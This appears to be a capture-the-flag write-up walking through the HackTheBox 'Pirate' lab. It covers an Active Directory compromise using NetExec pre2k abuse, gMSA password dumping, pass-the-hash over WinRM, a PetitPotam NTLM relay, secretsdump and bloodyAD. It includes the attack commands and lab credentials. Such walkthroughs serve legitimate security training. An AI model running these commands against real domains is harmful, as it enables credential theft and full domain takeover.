HTB-Season10-Pirate

#premium

Welcome back my dear hackers! This write-up is a walkthrough for the Pirate machine from HTB. If you are interested, please take a look at my other write-ups. Without any further delay, let's dive in:

Initial Enumeration

Let's start with a classic enumeration using Nmap:

Open ports:

88 (Kerberos / msrpc)
135 (RPC)
389 (LDAP)
5985 (WinRM)

I hovered around these services but found nothing immediately exploitable. Moving to Active Directory enumeration, I used BloodHound to map out the possible paths for initial access. I discovered there are two Pre-Windows 2000 compatible computer accounts in the Active Directory.

To exploit this and gather more information, I used NetExec (nxc):

nxc ldap pirate.htb -u 'pentest' -p 'p3ntt3st2025!&' -M pre2k

By using this command, we obtain a ticket for the enumerated computer accounts (MS01$, EXCH01$). Using this access, we can dump the Group Managed Service Account (gMSA) passwords. This hands us two highly privileged service accounts (gMSA_ADCS_prod$, gMSA_ADFS_prod1$) along with their NTLM hashes. Voila!

Initial Foothold & Pivoting

We just found our way in. Using Evil-WinRM and the hash we just dumped, we can get a remote shell as the gMSA_ADFS_prod1$ user:

evil-winrm -i <target_ip> -u 'gMSA_ADFS_prod1` -H '<NTLM-HASH>'

During internal enumeration on this machine, I come across an isolated internal network (IP range: 192.168.100.0/24). To interact with this subnet, I set up a pivot using Ligolo-ng.

Lateral Movement: PetitPotam (LDAP Relay)

Further enumeration reveals that the Domain Controller is vulnerable to CVE-2021-36942, famously known as PetitPotam. PetitPotam is a critical security vulnerability that allows unauthenticated attackers to trigger an NTLM relay attack. By abusing the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC), an attacker can force a Domain Controller (DC) to authenticate against an attacker-controlled server.

First, we set up ntlmrelayx on our Kali machine to catch the coerced authentication and perform an LDAP relay to create a rogue machine account with delegation rights:

impacket-ntlmrelayx -t ldaps://<DC-IP> --delegate-access -smb2support

Next, we trigger the PetitPotam exploit against the Domain Controller, telling it to authenticate back to our Ligolo tunneled IP:

python3 PetitPotam.py <our-ligolo-IP> <DC-IP>

In the Server log we can see that we got a creds username: IBWSROCF$ password: hFP-YJru<\f5>mBR. Using these creds we request a kerberos service ticket using impacket-getST.

Using the kerberos ticket we will use impacket-secretsdump to dump the secrets of the domain controller. We can clearly see the user Administrator along with the hash. We will use the administrator user for a complete secret dump where we will find the credentials of the user a.white:E2nvADKSz5Xz2MJu.

(Don't forget to grab your user flag here!) User Flag:

Privilege Escalation

Previously we used BloodHound, right? So, if we take a look at the permissions of a.white, we can see that he has permission to change the password of the user a.white_adm who has administrative privileges. Using bloodyAD, we will be changing the password.

Using bloodyAD we will update the servicePrincipalName so that we can forge ourselves a kerberos ticket with admin privileges.

Using the ticket and impacket-psexec we will be able to claim our root flag:

Return to Home